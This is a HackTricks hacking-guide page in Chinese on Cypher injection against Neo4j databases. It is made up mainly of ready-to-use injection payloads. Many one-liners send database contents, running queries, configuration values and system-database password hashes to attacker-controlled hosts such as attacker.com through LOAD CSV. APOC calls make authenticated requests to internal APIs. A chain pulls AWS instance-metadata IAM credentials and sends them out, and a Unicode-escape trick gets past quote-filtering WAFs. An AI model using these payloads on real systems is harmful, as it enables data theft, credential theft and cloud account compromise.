16 KiB
Cypher注入(neo4j)
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
常见的Cypher注入
MATCH和WHERE语句是常见的情况。
当我们发现注入时,利用它的方式取决于查询中的位置。下面是不同注入位置和利用示例的表格:
可注入的查询 | 注入 |
---|---|
MATCH (o) WHERE o.Id='{input}' |
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
|
'=' {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} |
a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:`{input}` |
a` {...} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:'{input}'}) |
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 // |
MATCH (o:{input}) |
a) RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o:`{input}`) |
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r {id:'{input}'})]-(o2) |
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) |
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r:`{input}`]-(o2) |
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
注意UNION语句:
- 需要使用UNION的原因是,如果MATCH语句没有返回任何内容,查询的其余部分将不会运行。因此,我们可能在那里做的所有恶意操作都不会执行。
- 我们在UNION之前添加“RETURN 1”,以便两个部分返回相同的列,这对于查询的执行是必需的。
那么,“WITH”语句是什么意思?
使用WITH,我们可以删除所有现有的变量。当我们不知道查询是什么时,这一点很重要(稍后会详细介绍)。如果我们的有效负载意外地尝试设置一个已经存在的变量,查询将无法运行。
当然,如果我们知道查询和数据库,就不需要这些技术。我们甚至可以操纵返回的数据,以便操纵进程而不仅仅是滥用服务器。
HTTP信息泄露
可以使用以下方法将信息泄露到攻击者控制的域中:
LOAD CSV FROM 'https://attacker.com/'
例如
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
APOC
攻击者应该首先检查的是是否安装了APOC。APOC(Cypher上的强大过程)是Neo4j的一个非常受欢迎的、官方支持的插件,它极大地增强了其功能。APOC添加了许多附加函数和过程,开发人员可以在其环境中使用。攻击者可以利用APOC提供的各种过程和函数来进行更高级的攻击。
处理数据和发送HTTP请求的过程
apoc.convert.toJson
— 将节点、映射等转换为JSONapoc.text.base64Encode
— 获取字符串并将其编码为base64
可以设置标头和发送其他方法而不仅仅是GET。示例:
{% code overflow="wrap" %}
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
{% endcode %}
评估查询的过程
apoc.cypher.runFirstColumnMany
— 一个将第一列的值作为列表返回的函数apoc.cypher.runFirstColumnSingle
— 一个将第一列的第一个值返回的函数apoc.cypher.run
— 一个运行查询并将结果作为映射返回的过程apoc.cypher.runMany
— 一个运行查询或多个以分号分隔的查询并将结果作为映射返回的过程。这些查询在不同的事务中运行。
提取信息
服务器版本
获取服务器版本的一种方法是使用过程 dbms.components()
。
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
获取正在运行的查询
最简单的方法是使用dmbs.listQueries()
过程。
{% code overflow="wrap" %}
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
{% endcode %}
在 Neo4j 5 中,dbms.listQueries
被移除。相反,我们可以使用“SHOW TRANSACTIONS”。有两个主要的限制:SHOW 查询不可注入,并且与 listQueries
不同,我们只能看到当前执行的查询而不是所有查询。
如果已经安装了 APOC 核心,我们可以使用它来运行 SHOW TRANSACTIONS。如果我们在同一个事务中运行,只会返回 SHOW TRANSACTIONS 而不是我们想要查看的查询。我们可以使用 apoc.cypher.runMany
来执行 SHOW TRANSACTIONS,因为与其他 apoc.cypher 函数和过程不同,它在一个不同的事务中运行。
{% code overflow="wrap" %}
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
获取标签
使用内置方法 db.labels
,可以列出所有现有的标签。
{% code overflow="wrap" %}
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
获取键的属性
内置函数**keys
可以用于列出属性的键**(如果其中一个字段是列表或映射,则此方法无效)。
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
{% endcode %}
如果有APOC可用,可以使用apoc.convert.toJson
来更好地完成。
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
获取函数和存储过程
使用内置的过程 dbms.functions()
和 dbms.procedures()
可以列出所有的函数和存储过程。
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
这些过程在Neo4j 5中被移除。相反,我们可以使用SHOW PROCEDURES
和SHOW FUNCTIONS
。SHOW查询无法被注入。
如果安装了APOC核心,我们可以使用任何执行查询的过程或函数来列出函数和过程。
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
获取系统数据库
系统数据库是一个特殊的Neo4j数据库,通常无法查询。它包含存储为节点的有趣数据:
- 数据库
- 角色
- 用户(包括密码的哈希值!)
使用APOC,可以检索节点,包括哈希值。只有管理员才能执行此操作,但在Neo4j的免费版本中,只有一个管理员用户,没有其他用户,所以作为管理员运行并不罕见。
使用过程**apoc.systemdb.graph()
**来检索数据。
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
{% endcode %}
Neo4j使用Apache Shiro的SimpleHash生成哈希值。
结果以逗号分隔的字符串形式存储:
- 哈希算法
- 哈希值
- 盐
- 迭代次数
例如:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
获取环境变量
使用APOC,可以通过使用过程**apoc.config.map()
或apoc.config.list()
**来检索环境变量。
只有在配置文件(dbms.security.procedures.unrestricted)的不受限制的过程列表中包含这些过程时,才能使用这些过程。这比人们想象的要常见,通过搜索设置名称可以找到许多网站和指南,建议添加值“apoc.*”,这将允许所有APOC过程。
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
**注意:**在Neo4j5中,这些过程已经移动到了APOC扩展中。
AWS云元数据端点
IMDSv1
{% code overflow="wrap" %}
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
IMDSv2
我们需要指定头部并且我们需要使用除GET之外的方法。
**LOAD CSV
不能做这两件事,但是我们可以使用apoc.load.csvParams
来获取令牌和角色,然后使用apoc.load.jsonParams
**来获取凭据本身。我们使用csvParams的原因是响应不是一个有效的JSON。
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
直接联系 AWS API
{% code overflow="wrap" %}
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
{% endcode %}
- $data 格式为 %Y%m%dT%H%M%SZ
- $token 是我们从元数据服务器获取的令牌
- $signed_token 根据 https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html 计算得出
WAF绕过
Unicode注入
在Neo4j >= v4.2.0中,通常可以使用“\uXXXX”来注入Unicode。例如,如果服务器尝试删除字符,如:‘, “, `等等,可以使用此方法。
如果Unicode转义序列后面跟着一个字母,可能无法正常工作。可以安全地添加一个空格或另一个Unicode表示法。
例如,如果服务器删除单引号,并且查询如下所示:
MATCH (a: {name: '$INPUT'}) RETURN a
可以进行注入攻击:
{% code overflow="wrap" %}
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
{% endcode %}
参考资料
- https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
- https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获得官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。